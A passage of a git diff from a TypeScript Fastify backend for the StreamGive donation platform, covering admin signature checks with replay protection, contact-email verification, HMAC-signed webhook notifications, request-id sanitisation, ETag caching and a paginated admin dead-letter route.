nothing in trust — the signature still has to + // verify against the claimed (allow-listed) address either way — and + // avoids an opaque 401 that looks identical to a genuinely forged one. + const candidates: Array<[string, Buffer]> = [ + ['base64', Buffer.from(signatureB64, 'base64')], + ['hex', Buffer.from(signatureB64, 'hex')], + ]; + + const replayKey = `${address}:${request.method}:${request.url}:${timestampHeader}`; + const now = Date.now(); + if (usedSignatures.has(replayKey)) { + reply.code(401).send({ error: 'replayed_signature' }); + return; + } + + const matched = candidates.find( + ([, sig]) => sig.length === ED25519_SIGNATURE_BYTES && keypair.verify(hash, sig), + ); + + if (!matched) { + request.log.warn( + { + payload, + signatureChars: signatureB64.length, + base64Bytes: candidates[0][1].length, + hexBytes: candidates[1][1].length, + }, + 'admin signature did not verify', + ); + reply.code(401).send({ error: 'unauthorized' }); + return; + } + usedSignatures.set(replayKey, now); + } catch (err) { + request.log.warn({ err }, 'admin signature check threw'); + reply.code(401).send({ error: 'unauthorized' }); + } +} diff --git a/src/notifications/contactVerification.ts b/src/notifications/contactVerification.ts index 5081d2b..18f5d45 100644 --- a/src/notifications/contactVerification.ts +++ b/src/notifications/contactVerification.ts @@ -1,115 +1,115 @@ -import { createHash, randomBytes } from 'node:crypto'; - -import { prisma } from '../db.js'; - -const CONTACT_EMAIL_TOKEN_TTL_MS = 24 * 60 * 60 * 1000; - -function hashToken(token: string): string { - return createHash('sha256').update(token).digest('hex'); -} - -export async function sendContactVerification(application: { - id: string; - name: string; - contactEmail: string; -}): Promise { - const apiKey = process.env.RESEND_API_KEY; - const from = process.env.NOTIFY_EMAIL_FROM; - const publicApiUrl = process.env.API_PUBLIC_URL; - if (!apiKey || !from || !publicApiUrl) { - console.warn('contact email verification is not configured'); - return false; - } - - let baseUrl: URL; - try { - baseUrl = new URL(publicApiUrl); - } catch { - console.error('API_PUBLIC_URL must be an absolute URL'); - return false; - } - if (baseUrl.protocol !== 'https:' && baseUrl.hostname !== 'localhost') { - console.error('API_PUBLIC_URL must use HTTPS'); - return false; - } - - const token = randomBytes(32).toString('base64url'); - const expiresAt = new Date(Date.now() + CONTACT_EMAIL_TOKEN_TTL_MS); - try { - await prisma.ngoApplicationContactChallenge.upsert({ - where: { applicationId: application.id }, - create: { - applicationId: application.id, - tokenHash: hashToken(token), - expiresAt, - }, - update: { tokenHash: hashToken(token), expiresAt }, - }); - } catch { - console.error('failed to store contact verification challenge'); - return false; - } - - const verificationUrl = new URL('/v1/ngo-applications/verify-contact-email', baseUrl); - verificationUrl.searchParams.set('token', token); - try { - const response = await fetch('https://api.resend.com/emails', { - method: 'POST', - headers: { - Authorization: `Bearer ${apiKey}`, - 'Content-Type': 'application/json', - }, - body: JSON.stringify({ - from, - to: [application.contactEmail], - subject: 'Verify your StreamGive NGO contact email', - html: `

Hello ${escapeHtml(application.name)},

Verify this contact email. This link expires in 24 hours.

`, - }), - }); - if (!response.ok) { - console.error(`contact verification email was rejected (status ${response.status})`); - return false; - } - return true; - } catch { - console.error('failed to send contact verification email'); - return false; - } -} - -export async function verifyContactToken(token: string): Promise { - const tokenHash = hashToken(token); - return prisma.$transaction(async (tx) => { - const challenge = await tx.ngoApplicationContactChallenge.findUnique({ - where: { tokenHash }, - }); - if (!challenge || challenge.expiresAt.getTime() <= Date.now()) { - if (challenge) { - await tx.ngoApplicationContactChallenge.deleteMany({ where: { tokenHash } }); - } - return false; - } - - const consumed = await tx.ngoApplicationContactChallenge.deleteMany({ where: { tokenHash } }); - if (consumed.count !== 1) return false; - - await tx.ngoApplication.update({ - where: { id: challenge.applicationId }, - data: { emailVerifiedAt: new Date() }, - }); - return true; - }); -} - -function escapeHtml(value: string): string { - return value.replace(/[&<>"']/g, (character) => { - const entities: Record = { - '&': '&', - '<': '<', - '>': '>', - '"': '"', - "'": ''', - }; - return entities[character]; - }); -} +import { createHash, randomBytes } from 'node:crypto'; + +import { prisma } from '../db.js'; + +const CONTACT_EMAIL_TOKEN_TTL_MS = 24 * 60 * 60 * 1000; + +function hashToken(token: string): string { + return createHash('sha256').update(token).digest('hex'); +} + +export async function sendContactVerification(application: { + id: string; + name: string; + contactEmail: string; +}): Promise { + const apiKey = process.env.RESEND_API_KEY; + const from = process.env.NOTIFY_EMAIL_FROM; + const publicApiUrl = process.env.API_PUBLIC_URL; + if (!apiKey || !from || !publicApiUrl) { + console.warn('contact email verification is not configured'); + return false; + } + + let baseUrl: URL; + try { + baseUrl = new URL(publicApiUrl); + } catch { + console.error('API_PUBLIC_URL must be an absolute URL'); + return false; + } + if (baseUrl.protocol !== 'https:' && baseUrl.hostname !== 'localhost') { + console.error('API_PUBLIC_URL must use HTTPS'); + return false; + } + + const token = randomBytes(32).toString('base64url'); + const expiresAt = new Date(Date.now() + CONTACT_EMAIL_TOKEN_TTL_MS); + try { + await prisma.ngoApplicationContactChallenge.upsert({ + where: { applicationId: application.id }, + create: { + applicationId: application.id, + tokenHash: hashToken(token), + expiresAt, + }, + update: { tokenHash: hashToken(token), expiresAt }, + }); + } catch { + console.error('failed to store contact verification challenge'); + return false; + } + + const verificationUrl = new URL('/v1/ngo-applications/verify-contact-email', baseUrl); + verificationUrl.searchParams.set('token', token); + try { + const response = await fetch('https://api.resend.com/emails', { + method: 'POST', + headers: { + Authorization: `Bearer ${apiKey}`, + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ + from, + to: [application.contactEmail], + subject: 'Verify your StreamGive NGO contact email', + html: `

Hello ${escapeHtml(application.name)},

Verify this contact email. This link expires in 24 hours.

`, + }), + }); + if (!response.ok) { + console.error(`contact verification email was rejected (status ${response.status})`); + return false; + } + return true; + } catch { + console.error('failed to send contact verification email'); + return false; + } +} + +export async function verifyContactToken(token: string): Promise { + const tokenHash = hashToken(token); + return prisma.$transaction(async (tx) => { + const challenge = await tx.ngoApplicationContactChallenge.findUnique({ + where: { tokenHash }, + }); + if (!challenge || challenge.expiresAt.getTime() <= Date.now()) { + if (challenge) { + await tx.ngoApplicationContactChallenge.deleteMany({ where: { tokenHash } }); + } + return false; + } + + const consumed = await tx.ngoApplicationContactChallenge.deleteMany({ where: { tokenHash } }); + if (consumed.count !== 1) return false; + + await tx.ngoApplication.update({ + where: { id: challenge.applicationId }, + data: { emailVerifiedAt: new Date() }, + }); + return true; + }); +} + +function escapeHtml(value: string): string { + return value.replace(/[&<>"']/g, (character) => { + const entities: Record = { + '&': '&', + '<': '<', + '>': '>', + '"': '"', + "'": ''', + }; + return entities[character]; + }); +} diff --git a/src/notifications/service.ts b/src/notifications/service.ts index 469f375..33540a7 100644 --- a/src/notifications/service.ts +++ b/src/notifications/service.ts @@ -1,250 +1,250 @@ -import { createHmac, randomUUID } from 'node:crypto'; - -import { prisma } from '../db.js'; -import type { Prisma } from '../generated/prisma/client.js'; -import { recordNotificationDelivery } from '../metrics.js'; -import type { NotificationEvent } from './types.js'; - -const deliveredEventIds = new Set(); -const MAX_DELIVERED_EVENT_IDS = 10_000; -const MAX_WEBHOOK_ATTEMPTS = 5; -const WEBHOOK_RETRY_BASE_MS = 1_000; -const WEBHOOK_RETRY_MAX_MS = 5 * 60_000; -const WEBHOOK_DELIVERY_LOCK_MS = 60_000; -const WEBHOOK_DELIVERY_POLL_MS = 1_000; - -export function _resetDeliveredEventIdsForTest(): void { - deliveredEventIds.clear(); -} - -export function _deliveredEventIdCountForTest(): number { - return deliveredEventIds.size; -} - -export const _MAX_DELIVERED_EVENT_IDS_FOR_TEST = MAX_DELIVERED_EVENT_IDS; - -/** Remembers a delivered event id, evicting the oldest ids past the cap. */ -function rememberDelivered(eventId: string): void { - deliveredEventIds.add(eventId); - while (deliveredEventIds.size > MAX_DELIVERED_EVENT_IDS) { - const oldest = deliveredEventIds.values().next().value; - if (oldest === undefined) break; - deliveredEventIds.delete(oldest); - } -} - -/** - * Header carrying a versioned HMAC-SHA256 of the timestamp, delivery ID, - * and request body, keyed with `NOTIFY_WEBHOOK_SECRET`. See the - * "Notification events" section of the README for receiver verification. - */ -const SIGNATURE_HEADER = 'x-streamgive-signature'; -const TIMESTAMP_HEADER = 'x-streamgive-timestamp'; -const DELIVERY_HEADER = 'x-streamgive-delivery'; -const DEFAULT_WEBHOOK_TIMEOUT_MS = 3_000; - -type WebhookTarget = { url: string; secret?: string; channel: string }; -type WebhookResult = { success: boolean; recordNoop: boolean }; - -function webhookLocation(target: WebhookTarget): string { - if (target.channel === 'webhook') return target.url; - try { - return new URL(target.url).origin; - } catch { - return '[invalid-url]'; - } -} - -function getWebhookTimeoutMs(): number { - const configured = Number(process.env.NOTIFY_WEBHOOK_TIMEOUT_MS); - return Number.isSafeInteger(configured) && configured > 0 - ? Math.min(configured, 2_147_483_647) - : DEFAULT_WEBHOOK_TIMEOUT_MS; -} - -/** Posts one event to a configured destination. */ -async function notifyWebhookTarget( - event: NotificationEvent, - target: WebhookTarget, -): Promise { - if (event.eventId) { - try { - const delivered = await prisma.notificationLog.findFirst({ - where: { eventId: event.eventId, channel: target.channel, success: true }, - }); - if (delivered) return true; - } catch (error) { - console.error('failed to check persisted endpoint delivery', error); - return false; - } - } - - // Serialised once and reused as both the signed input and the request - // body. Signing a second `JSON.stringify(event)` would work today but - // couples the signature to key ordering staying identical between two - // calls — the receiver verifies against the raw bytes it read off the - // wire, so those bytes are what has to be signed. - const body = JSON.stringify(event); - const timestamp = Math.floor(Date.now() / 1000).toString(); - const requestDeliveryId = deliveryId ?? randomUUID(); - - const headers: Record = { - 'content-type': 'application/json', - [TIMESTAMP_HEADER]: timestamp, - [DELIVERY_HEADER]: requestDeliveryId, - }; - - // Read per call rather than at module load so deployments can rotate the - // secret without a restart, and so tests can set it per case. - const secret = target.secret; - if (secret) { - const signedPayload = `${timestamp}.${requestDeliveryId}.${body}`; - headers[SIGNATURE_HEADER] = - `v1=${createHmac('sha256', secret).update(signedPayload).digest('hex')}`; - } - - let success = false; - let error: string | undefined; - - try { - const res = await fetch(target.url, { - method: 'POST', - headers, - body, - signal: AbortSignal.timeout(getWebhookTimeoutMs()), - }); - - if (res.ok) { - success = true; - } else { - error = `status ${res.status}`; - console.error( - `webhook notification failed with status ${res.status} for ${webhookLocation(target)}`, - ); - } - } catch (err) { - error = err instanceof Error ? err.name : 'unknown_error'; - console.error('webhook notification failed'); - } - - recordNotificationDelivery(success ? 'success' : 'failure'); - - try { - const data = { - eventId: event.eventId ?? null, - eventType: event.type, - channel: target.channel, - success, - error, - }; - if (event.eventId) { - await prisma.notificationLog.upsert({ - where: { eventId_channel: { eventId: event.eventId, channel: target.channel } }, - create: data, - update: { success, error }, - }); - } else { - await prisma.notificationLog.create({ data }); - } - } catch (err) { - console.error('failed to write notification log', err); - } - - return success; -} - -/** Delivers to every enabled endpoint subscribed to the event. */ -async function notifyWebhook(event: NotificationEvent): Promise { - let endpoints: Awaited>; - try { - endpoints = await prisma.notificationEndpoint.findMany({ where: { enabled: true } }); - } catch (error) { - console.error('failed to load webhook endpoints', error); - return { success: false, recordNoop: false }; - } - - const configured = endpoints.length > 0; - const targets: WebhookTarget[] = endpoints - .filter((endpoint) => endpoint.eventTypes.includes(event.type)) - .map((endpoint) => ({ - url: endpoint.url, - secret: endpoint.secret, - channel: `webhook:${endpoint.id}`, - })); - - // Keep the original single-endpoint environment configuration working for - // existing deployments until they migrate destinations into the table. - if (!configured && process.env.NOTIFY_WEBHOOK_URL) { - targets.push({ - url: process.env.NOTIFY_WEBHOOK_URL, - secret: process.env.NOTIFY_WEBHOOK_SECRET, - channel: 'webhook', - }); - } - - if (targets.length === 0) { - return { success: true, recordNoop: !configured }; - } - - const results = await Promise.all(targets.map((target) => notifyWebhookTarget(event, target))); - return { success: results.every(Boolean), recordNoop: false }; -} - -/** Stub: no email provider wired up yet — picking one (SendGrid, Postmark, - * Resend, ...) is a separate decision. `notify()` below is the only thing - * the rest of the app calls, so swapping this out later touches no call - * sites. */ -async function notifyEmail(event: NotificationEvent): Promise { - console.log('[notify:email:stub]', event); - - try { - await prisma.notificationLog.create({ - data: { - eventType: event.type, - channel: 'email', - success: true, - }, - }); - } catch (err) { - console.error('failed to write email notification log', err); - } -} - -export async function notify(event: NotificationEvent): Promise { - if (event.eventId) { - if (deliveredEventIds.has(event.eventId)) return; - } - - const [webhookResult] = await Promise.all([notifyWebhook(event), notifyEmail(event)]); - - // Mark delivered only after successful delivery - if (event.eventId && webhookResult.success) { - rememberDelivered(event.eventId); - - if (webhookResult.recordNoop) { - try { - await prisma.notificationLog.create({ - data: { - eventId: event.eventId, - eventType: event.type, - channel: 'webhook', - success: true, - }, - }); - } catch (err) { - console.error('failed to persist delivery record', err); - } - } - } -} - -/** - * Dispatches a notification asynchronously after transaction commit, - * ensuring any errors are caught and do not propagate back into the handler - * or block the indexer. - */ -export function dispatchNotification(event: NotificationEvent): void { - notify(event).catch((err) => { - console.error('asynchronous notification dispatch failed', err); - }); -} +import { createHmac, randomUUID } from 'node:crypto'; + +import { prisma } from '../db.js'; +import type { Prisma } from '../generated/prisma/client.js'; +import { recordNotificationDelivery } from '../metrics.js'; +import type { NotificationEvent } from './types.js'; + +const deliveredEventIds = new Set(); +const MAX_DELIVERED_EVENT_IDS = 10_000; +const MAX_WEBHOOK_ATTEMPTS = 5; +const WEBHOOK_RETRY_BASE_MS = 1_000; +const WEBHOOK_RETRY_MAX_MS = 5 * 60_000; +const WEBHOOK_DELIVERY_LOCK_MS = 60_000; +const WEBHOOK_DELIVERY_POLL_MS = 1_000; + +export function _resetDeliveredEventIdsForTest(): void { + deliveredEventIds.clear(); +} + +export function _deliveredEventIdCountForTest(): number { + return deliveredEventIds.size; +} + +export const _MAX_DELIVERED_EVENT_IDS_FOR_TEST = MAX_DELIVERED_EVENT_IDS; + +/** Remembers a delivered event id, evicting the oldest ids past the cap. */ +function rememberDelivered(eventId: string): void { + deliveredEventIds.add(eventId); + while (deliveredEventIds.size > MAX_DELIVERED_EVENT_IDS) { + const oldest = deliveredEventIds.values().next().value; + if (oldest === undefined) break; + deliveredEventIds.delete(oldest); + } +} + +/** + * Header carrying a versioned HMAC-SHA256 of the timestamp, delivery ID, + * and request body, keyed with `NOTIFY_WEBHOOK_SECRET`. See the + * "Notification events" section of the README for receiver verification. + */ +const SIGNATURE_HEADER = 'x-streamgive-signature'; +const TIMESTAMP_HEADER = 'x-streamgive-timestamp'; +const DELIVERY_HEADER = 'x-streamgive-delivery'; +const DEFAULT_WEBHOOK_TIMEOUT_MS = 3_000; + +type WebhookTarget = { url: string; secret?: string; channel: string }; +type WebhookResult = { success: boolean; recordNoop: boolean }; + +function webhookLocation(target: WebhookTarget): string { + if (target.channel === 'webhook') return target.url; + try { + return new URL(target.url).origin; + } catch { + return '[invalid-url]'; + } +} + +function getWebhookTimeoutMs(): number { + const configured = Number(process.env.NOTIFY_WEBHOOK_TIMEOUT_MS); + return Number.isSafeInteger(configured) && configured > 0 + ? Math.min(configured, 2_147_483_647) + : DEFAULT_WEBHOOK_TIMEOUT_MS; +} + +/** Posts one event to a configured destination. */ +async function notifyWebhookTarget( + event: NotificationEvent, + target: WebhookTarget, +): Promise { + if (event.eventId) { + try { + const delivered = await prisma.notificationLog.findFirst({ + where: { eventId: event.eventId, channel: target.channel, success: true }, + }); + if (delivered) return true; + } catch (error) { + console.error('failed to check persisted endpoint delivery', error); + return false; + } + } + + // Serialised once and reused as both the signed input and the request + // body. Signing a second `JSON.stringify(event)` would work today but + // couples the signature to key ordering staying identical between two + // calls — the receiver verifies against the raw bytes it read off the + // wire, so those bytes are what has to be signed. + const body = JSON.stringify(event); + const timestamp = Math.floor(Date.now() / 1000).toString(); + const requestDeliveryId = deliveryId ?? randomUUID(); + + const headers: Record = { + 'content-type': 'application/json', + [TIMESTAMP_HEADER]: timestamp, + [DELIVERY_HEADER]: requestDeliveryId, + }; + + // Read per call rather than at module load so deployments can rotate the + // secret without a restart, and so tests can set it per case. + const secret = target.secret; + if (secret) { + const signedPayload = `${timestamp}.${requestDeliveryId}.${body}`; + headers[SIGNATURE_HEADER] = + `v1=${createHmac('sha256', secret).update(signedPayload).digest('hex')}`; + } + + let success = false; + let error: string | undefined; + + try { + const res = await fetch(target.url, { + method: 'POST', + headers, + body, + signal: AbortSignal.timeout(getWebhookTimeoutMs()), + }); + + if (res.ok) { + success = true; + } else { + error = `status ${res.status}`; + console.error( + `webhook notification failed with status ${res.status} for ${webhookLocation(target)}`, + ); + } + } catch (err) { + error = err instanceof Error ? err.name : 'unknown_error'; + console.error('webhook notification failed'); + } + + recordNotificationDelivery(success ? 'success' : 'failure'); + + try { + const data = { + eventId: event.eventId ?? null, + eventType: event.type, + channel: target.channel, + success, + error, + }; + if (event.eventId) { + await prisma.notificationLog.upsert({ + where: { eventId_channel: { eventId: event.eventId, channel: target.channel } }, + create: data, + update: { success, error }, + }); + } else { + await prisma.notificationLog.create({ data }); + } + } catch (err) { + console.error('failed to write notification log', err); + } + + return success; +} + +/** Delivers to every enabled endpoint subscribed to the event. */ +async function notifyWebhook(event: NotificationEvent): Promise { + let endpoints: Awaited>; + try { + endpoints = await prisma.notificationEndpoint.findMany({ where: { enabled: true } }); + } catch (error) { + console.error('failed to load webhook endpoints', error); + return { success: false, recordNoop: false }; + } + + const configured = endpoints.length > 0; + const targets: WebhookTarget[] = endpoints + .filter((endpoint) => endpoint.eventTypes.includes(event.type)) + .map((endpoint) => ({ + url: endpoint.url, + secret: endpoint.secret, + channel: `webhook:${endpoint.id}`, + })); + + // Keep the original single-endpoint environment configuration working for + // existing deployments until they migrate destinations into the table. + if (!configured && process.env.NOTIFY_WEBHOOK_URL) { + targets.push({ + url: process.env.NOTIFY_WEBHOOK_URL, + secret: process.env.NOTIFY_WEBHOOK_SECRET, + channel: 'webhook', + }); + } + + if (targets.length === 0) { + return { success: true, recordNoop: !configured }; + } + + const results = await Promise.all(targets.map((target) => notifyWebhookTarget(event, target))); + return { success: results.every(Boolean), recordNoop: false }; +} + +/** Stub: no email provider wired up yet — picking one (SendGrid, Postmark, + * Resend, ...) is a separate decision. `notify()` below is the only thing + * the rest of the app calls, so swapping this out later touches no call + * sites. */ +async function notifyEmail(event: NotificationEvent): Promise { + console.log('[notify:email:stub]', event); + + try { + await prisma.notificationLog.create({ + data: { + eventType: event.type, + channel: 'email', + success: true, + }, + }); + } catch (err) { + console.error('failed to write email notification log', err); + } +} + +export async function notify(event: NotificationEvent): Promise { + if (event.eventId) { + if (deliveredEventIds.has(event.eventId)) return; + } + + const [webhookResult] = await Promise.all([notifyWebhook(event), notifyEmail(event)]); + + // Mark delivered only after successful delivery + if (event.eventId && webhookResult.success) { + rememberDelivered(event.eventId); + + if (webhookResult.recordNoop) { + try { + await prisma.notificationLog.create({ + data: { + eventId: event.eventId, + eventType: event.type, + channel: 'webhook', + success: true, + }, + }); + } catch (err) { + console.error('failed to persist delivery record', err); + } + } + } +} + +/** + * Dispatches a notification asynchronously after transaction commit, + * ensuring any errors are caught and do not propagate back into the handler + * or block the indexer. + */ +export function dispatchNotification(event: NotificationEvent): void { + notify(event).catch((err) => { + console.error('asynchronous notification dispatch failed', err); + }); +} diff --git a/src/notifications/types.ts b/src/notifications/types.ts index c071286..a83fc0c 100644 --- a/src/notifications/types.ts +++ b/src/notifications/types.ts @@ -1,34 +1,34 @@ -export type NotificationEvent = - | { - type: 'stream_created'; - streamId: string; - donorAddress: string; - ngoId: string; - eventId?: string; - } - | { type: 'stream_withdrawn'; streamId: string; amount: string; eventId?: string } - | { - type: 'stream_cancelled'; - streamId: string; - settledToNgo: string; - refundToDonor: string; - eventId?: string; - } - | { type: 'ngo_registered'; ownerAddress: string; ngoId: string; eventId?: string } - | { type: 'ngo_approved'; ownerAddress: string; ngoId: string; eventId?: string } - | { type: 'ngo_revoked'; ownerAddress: string; ngoId: string; eventId?: string } - | { - type: 'application_submitted'; - applicationId: string; - ownerAddress: string; - name: string; - eventId?: string; - } - | { - type: 'application_reviewed'; - applicationId: string; - ownerAddress: string; - status: 'APPROVED' | 'REJECTED'; - reviewNote?: string; - eventId?: string; - }; +export type NotificationEvent = + | { + type: 'stream_created'; + streamId: string; + donorAddress: string; + ngoId: string; + eventId?: string; + } + | { type: 'stream_withdrawn'; streamId: string; amount: string; eventId?: string } + | { + type: 'stream_cancelled'; + streamId: string; + settledToNgo: string; + refundToDonor: string; + eventId?: string; + } + | { type: 'ngo_registered'; ownerAddress: string; ngoId: string; eventId?: string } + | { type: 'ngo_approved'; ownerAddress: string; ngoId: string; eventId?: string } + | { type: 'ngo_revoked'; ownerAddress: string; ngoId: string; eventId?: string } + | { + type: 'application_submitted'; + applicationId: string; + ownerAddress: string; + name: string; + eventId?: string; + } + | { + type: 'application_reviewed'; + applicationId: string; + ownerAddress: string; + status: 'APPROVED' | 'REJECTED'; + reviewNote?: string; + eventId?: string; + }; diff --git a/src/plugins/compression.ts b/src/plugins/compression.ts index 90c2c13..eb5d8cd 100644 --- a/src/plugins/compression.ts +++ b/src/plugins/compression.ts @@ -1,11 +1,11 @@ -import compress from '@fastify/compress'; -import type { FastifyInstance } from 'fastify'; -import fp from 'fastify-plugin'; - -export const registerCompression = fp(async function registerCompression(app: FastifyInstance) { - await app.register(compress, { - global: true, - threshold: 1024, // don't compress tiny responses - encodings: ['br', 'gzip'], - }); -}); +import compress from '@fastify/compress'; +import type { FastifyInstance } from 'fastify'; +import fp from 'fastify-plugin'; + +export const registerCompression = fp(async function registerCompression(app: FastifyInstance) { + await app.register(compress, { + global: true, + threshold: 1024, // don't compress tiny responses + encodings: ['br', 'gzip'], + }); +}); diff --git a/src/requestId.ts b/src/requestId.ts index ff652f8..723eb7d 100644 --- a/src/requestId.ts +++ b/src/requestId.ts @@ -1,26 +1,26 @@ -import { randomUUID } from 'node:crypto'; - -import type { FastifyInstance, FastifyServerOptions } from 'fastify'; - -// Fastify includes request.id in the child logger bound to every request. -// Honour a caller-supplied id so logs can be correlated across services, -// and use an unpredictable id when the request starts here. -export const requestIdOptions = { - requestIdHeader: 'x-request-id', - genReqId: () => randomUUID(), -} satisfies Pick; - -// Keep caller-provided ids small and log-safe. Restricting characters also -// prevents control-character injection in response headers and log records. -const VALID_REQUEST_ID = /^[A-Za-z0-9._-]{1,128}$/; - -function safeRequestId(id: string): string { - return VALID_REQUEST_ID.test(id) ? id : randomUUID(); -} - -export function registerRequestIdHeader(app: FastifyInstance): void { - app.addHook('onRequest', async (request, reply) => { - request.id = safeRequestId(request.id); - reply.header('x-request-id', request.id); - }); -} +import { randomUUID } from 'node:crypto'; + +import type { FastifyInstance, FastifyServerOptions } from 'fastify'; + +// Fastify includes request.id in the child logger bound to every request. +// Honour a caller-supplied id so logs can be correlated across services, +// and use an unpredictable id when the request starts here. +export const requestIdOptions = { + requestIdHeader: 'x-request-id', + genReqId: () => randomUUID(), +} satisfies Pick; + +// Keep caller-provided ids small and log-safe. Restricting characters also +// prevents control-character injection in response headers and log records. +const VALID_REQUEST_ID = /^[A-Za-z0-9._-]{1,128}$/; + +function safeRequestId(id: string): string { + return VALID_REQUEST_ID.test(id) ? id : randomUUID(); +} + +export function registerRequestIdHeader(app: FastifyInstance): void { + app.addHook('onRequest', async (request, reply) => { + request.id = safeRequestId(request.id); + reply.header('x-request-id', request.id); + }); +} diff --git a/src/routes/cacheable.ts b/src/routes/cacheable.ts index 8f115b5..27b381a 100644 --- a/src/routes/cacheable.ts +++ b/src/routes/cacheable.ts @@ -1,41 +1,41 @@ -import { createHash } from 'node:crypto'; -import type { FastifyReply, FastifyRequest } from 'fastify'; - -const PUBLIC_MAX_AGE_SECONDS = 30; - -function matchesIfNoneMatch(header: string | string[] | undefined, etag: string): boolean { - const candidates = Array.isArray(header) ? header : header?.split(',') ?? []; - return candidates.some((candidate) => { - const normalized = candidate.trim().replace(/^W\//, ''); - return normalized === '*' || normalized === etag; - }); -} - -/** Send a public JSON representation with a validator and short shared-cache lifetime. */ -export function sendPublicCacheable( - request: FastifyRequest, - reply: FastifyReply, - payload: T, -): FastifyReply { - // Serialise once, then hash and send the same bytes. An ETag validates the - // representation that is actually on the wire, so it has to be computed - // over exactly what the client receives. Passing `payload` to - // `reply.send()` also made Fastify serialise it a second time: double the - // work on every cacheable response, and a validator hashed over bytes that - // are only *usually* identical to the ones sent (a `toJSON` with state, or - // a route-level response schema, changes the second serialisation). - const body = JSON.stringify(payload) ?? ''; - const etag = `"${createHash('sha256').update(body).digest('base64url')}"`; - - reply - .header('Cache-Control', `public, max-age=${PUBLIC_MAX_AGE_SECONDS}, stale-while-revalidate=60`) - .header('ETag', etag); - - if (matchesIfNoneMatch(request.headers['if-none-match'], etag)) { - return reply.code(304).send(); - } - - // `body` is already JSON: send the string with the JSON content type so - // Fastify passes it through instead of serialising the value again. - return reply.type('application/json; charset=utf-8').send(body); -} +import { createHash } from 'node:crypto'; +import type { FastifyReply, FastifyRequest } from 'fastify'; + +const PUBLIC_MAX_AGE_SECONDS = 30; + +function matchesIfNoneMatch(header: string | string[] | undefined, etag: string): boolean { + const candidates = Array.isArray(header) ? header : header?.split(',') ?? []; + return candidates.some((candidate) => { + const normalized = candidate.trim().replace(/^W\//, ''); + return normalized === '*' || normalized === etag; + }); +} + +/** Send a public JSON representation with a validator and short shared-cache lifetime. */ +export function sendPublicCacheable( + request: FastifyRequest, + reply: FastifyReply, + payload: T, +): FastifyReply { + // Serialise once, then hash and send the same bytes. An ETag validates the + // representation that is actually on the wire, so it has to be computed + // over exactly what the client receives. Passing `payload` to + // `reply.send()` also made Fastify serialise it a second time: double the + // work on every cacheable response, and a validator hashed over bytes that + // are only *usually* identical to the ones sent (a `toJSON` with state, or + // a route-level response schema, changes the second serialisation). + const body = JSON.stringify(payload) ?? ''; + const etag = `"${createHash('sha256').update(body).digest('base64url')}"`; + + reply + .header('Cache-Control', `public, max-age=${PUBLIC_MAX_AGE_SECONDS}, stale-while-revalidate=60`) + .header('ETag', etag); + + if (matchesIfNoneMatch(request.headers['if-none-match'], etag)) { + return reply.code(304).send(); + } + + // `body` is already JSON: send the string with the JSON content type so + // Fastify passes it through instead of serialising the value again. + return reply.type('application/json; charset=utf-8').send(body); +} diff --git a/src/routes/deadLetters.ts b/src/routes/deadLetters.ts index c660191..2ec037c 100644 --- a/src/routes/deadLetters.ts +++ b/src/routes/deadLetters.ts @@ -1,123 +1,123 @@ -import type { FastifyInstance } from 'fastify'; -import { z } from 'zod'; - -import { prisma } from '../db.js'; -import { requireAdminSignature } from '../middleware/adminAuth.js'; - -/** - * Query schema for GET /v1/admin/dead-letters: - * - limit: 1 to 100 items per page (default: 100) - * - cursor: optional UUID pointing to the last item of the previous page - * - resolved: optional boolean filter ('true' | 'false') - */ -const querySchema = z.object({ - limit: z.coerce.number().int().min(1).max(100).default(100), - cursor: z.string().uuid().optional(), - resolved: z - .enum(['true', 'false']) - .optional() - .transform((val) => (val === undefined ? undefined : val === 'true')), -}); - -export async function deadLetterRoutes(app: FastifyInstance): Promise { - /** - * Lists failed Soroban contract events recorded in the dead-letter queue. - * @route GET /v1/admin/dead-letters - * @query limit, cursor, resolved - * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. - * @returns 200 `{ deadLetters: IndexerDeadLetter[], total: number, hasMore: boolean, nextCursor: string | null }`; 400 `{ error: "invalid_request", details }`. - */ - app.get( - '/admin/dead-letters', - { - preHandler: requireAdminSignature, - schema: { - tags: ['Admin'], - summary: 'List dead-lettered events', - description: - 'Returns paginated dead-letter records with an optional resolved status filter.', - querystring: { - type: 'object', - properties: { - limit: { type: 'integer', minimum: 1, maximum: 100, default: 100 }, - cursor: { type: 'string', format: 'uuid' }, - resolved: { type: 'string', enum: ['true', 'false'] }, - }, - }, - response: { - 200: { type: 'object', additionalProperties: true }, - 400: { type: 'object', additionalProperties: true }, - 401: { type: 'object', additionalProperties: true }, - 503: { type: 'object', additionalProperties: true }, - }, - }, - }, - async (request, reply) => { - const parsedQuery = querySchema.safeParse(request.query); - if (!parsedQuery.success) { - return reply - .code(400) - .send({ error: 'invalid_request', details: parsedQuery.error.flatten() }); - } - - const { limit, cursor, resolved } = parsedQuery.data; - - const where = - resolved === undefined - ? {} - : resolved - ? { resolvedAt: { not: null } } - : { resolvedAt: null }; - - // Resolve the cursor explicitly. Prisma's `cursor` pagination requires the - // cursor row to exist; the API contract treats an unknown cursor as an - // empty page rather than leaking a Prisma record-not-found error. - const cursorRow = cursor - ? await prisma.indexerDeadLetter.findUnique({ - where: { id: cursor }, - select: { id: true, createdAt: true }, - }) - : null; - - if (cursor && !cursorRow) { - return { - deadLetters: [], - total: await prisma.indexerDeadLetter.count({ where }), - hasMore: false, - nextCursor: null, - }; - } - - const [total, rows] = await Promise.all([ - prisma.indexerDeadLetter.count({ where }), - prisma.indexerDeadLetter.findMany({ - where, - orderBy: [{ createdAt: 'desc' }, { id: 'desc' }], - take: limit + 1, - ...(cursorRow - ? { - where: { - ...where, - OR: [ - { createdAt: { lt: cursorRow.createdAt } }, - { createdAt: cursorRow.createdAt, id: { lt: cursorRow.id } }, - ], - }, - } - : {}), - }), - ]); - - const hasMore = rows.length > limit; - const deadLetters = hasMore ? rows.slice(0, limit) : rows; - const nextCursor = hasMore ? deadLetters[deadLetters.length - 1].id : null; - - return { - deadLetters, - total, - hasMore, - nextCursor, - }; - }, - ); -} +import type { FastifyInstance } from 'fastify'; +import { z } from 'zod'; + +import { prisma } from '../db.js'; +import { requireAdminSignature } from '../middleware/adminAuth.js'; + +/** + * Query schema for GET /v1/admin/dead-letters: + * - limit: 1 to 100 items per page (default: 100) + * - cursor: optional UUID pointing to the last item of the previous page + * - resolved: optional boolean filter ('true' | 'false') + */ +const querySchema = z.object({ + limit: z.coerce.number().int().min(1).max(100).default(100), + cursor: z.string().uuid().optional(), + resolved: z + .enum(['true', 'false']) + 